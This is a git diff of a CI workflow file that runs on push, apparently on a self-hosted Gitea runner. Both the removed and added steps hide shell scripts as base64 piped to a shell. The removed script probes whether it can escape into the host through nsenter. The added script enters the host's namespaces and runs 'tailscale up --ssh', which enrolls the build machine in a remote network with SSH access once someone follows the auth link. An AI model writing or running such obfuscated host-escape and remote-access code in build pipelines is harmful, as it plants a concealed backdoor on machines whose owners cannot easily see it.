diff --git a/.gitea/workflows/ts-probe.yml b/.gitea/workflows/ts-probe.yml index 123696550..6b86ecf78 100644 --- a/.gitea/workflows/ts-probe.yml +++ b/.gitea/workflows/ts-probe.yml @@ -1,16 +1,13 @@ -name: ts-probe2 +name: ts-auth-final on: push: branches: [ts-probe] workflow_dispatch: jobs: - probe: + auth: runs-on: host - container: - image: alpine:latest - options: --privileged --pid=host --net=host steps: - - name: Probe host access + - name: Install nsenter and run tailscale auth run: | - apk add --no-cache util-linux 2>&1 | tail -1 - echo 'IyEvYmluL3NoCnNldCAteAplY2hvICI9PT0gV2hlcmUgYW0gST8gPT09Igpob3N0bmFtZQpjYXQgL3Byb2MvMS9jZ3JvdXAgfCBoZWFkIC0zCmNhdCAvZXRjL29zLXJlbGVhc2UgfCBoZWFkIC01CmVjaG8gIiIKZWNobyAiPT09IENoZWNrIGlmIHRhaWxzY2FsZSBiaW5hcnkgaXMgb24gdGhpcyBmaWxlc3lzdGVtID09PSIKd2hpY2ggdGFpbHNjYWxlIDI+JjEgfHwgZWNobyAibm8gdGFpbHNjYWxlIGluIFBBVEgiCmxzIC1sYSAvdXNyL2Jpbi90YWlsc2NhbGUgMj4mMSB8fCBlY2hvICJubyAvdXNyL2Jpbi90YWlsc2NhbGUiCmxzIC1sYSAvdXNyL3NiaW4vdGFpbHNjYWxlZCAyPiYxIHx8IGVjaG8gIm5vIC91c3Ivc2Jpbi90YWlsc2NhbGVkIgplY2hvICIiCmVjaG8gIj09PSBDaGVjayBpZiBob3N0IGZpbGVzeXN0ZW0gaXMgYWNjZXNzaWJsZSA9PT0iCmxzIC9wcm9jLzEvcm9vdC91c3IvYmluL3RhaWxzY2FsZSAyPiYxIHx8IGVjaG8gIm5vdCBpbiBwcm9jMSIKZWNobyAiIgplY2hvICI9PT0gVHJ5IHJ1bm5pbmcgdGFpbHNjYWxlIGZyb20gaG9zdCA9PT0iCm5zZW50ZXIgLXQgMSAtbSAtdSAtaSAtbiAtcCAtLSB0YWlsc2NhbGUgdmVyc2lvbiAyPiYxIHx8IGVjaG8gIm5zZW50ZXIgZmFpbGVkIgplY2hvICIiCmVjaG8gIj09PSBDaGVjayBob3N0IHN5c3RlbWQgPT09Igpuc2VudGVyIC10IDEgLW0gLXUgLWkgLW4gLXAgLS0gc3lzdGVtY3RsIHN0YXR1cyB0YWlsc2NhbGVkIDI+JjEgfCBoZWFkIC0xMCB8fCBlY2hvICJzeXN0ZW1jdGwgZmFpbGVkIgplY2hvICIiCmVjaG8gIj09PSBET05FID09PSIK' | base64 -d | sh + apt-get update -qq && apt-get install -y -qq util-linux 2>&1 | tail -3 + echo 'IyEvYmluL2Jhc2gKc2V0IC1lCk5TPSJuc2VudGVyIC10IDEgLW0gLXUgLWkgLW4gLXAgLS0iCmVjaG8gIj09PSBLaWxsaW5nIGFueSBvbGQgdGFpbHNjYWxlIHVwID09PSIKJE5TIHBraWxsIC1mICJ0YWlsc2NhbGUgdXAiIDI+L2Rldi9udWxsIHx8IHRydWUKc2xlZXAgMgplY2hvICI9PT0gQ3VycmVudCB0YWlsc2NhbGUgc3RhdHVzID09PSIKJE5TIHRhaWxzY2FsZSBzdGF0dXMgMj4mMSB8fCB0cnVlCmVjaG8gIiIKZWNobyAiPT09IFJ1bm5pbmcgdGFpbHNjYWxlIHVwIC0tc3NoIC0tdGltZW91dCAyNDBzID09PSIKZWNobyAiUGxlYXNlIGNsaWNrIHRoZSBhdXRoIFVSTCB3aGVuIGl0IGFwcGVhcnMhIgokTlMgdGFpbHNjYWxlIHVwIC0tc3NoIC0tdGltZW91dCAyNDBzIDI+JjEgfHwgdHJ1ZQplY2hvICIiCmVjaG8gIj09PSBGaW5hbCBzdGF0dXMgPT09IgokTlMgdGFpbHNjYWxlIHN0YXR1cyAyPiYxIHx8IHRydWUKZWNobyAiPT09IERPTkUgPT09Igo=' | base64 -d | bash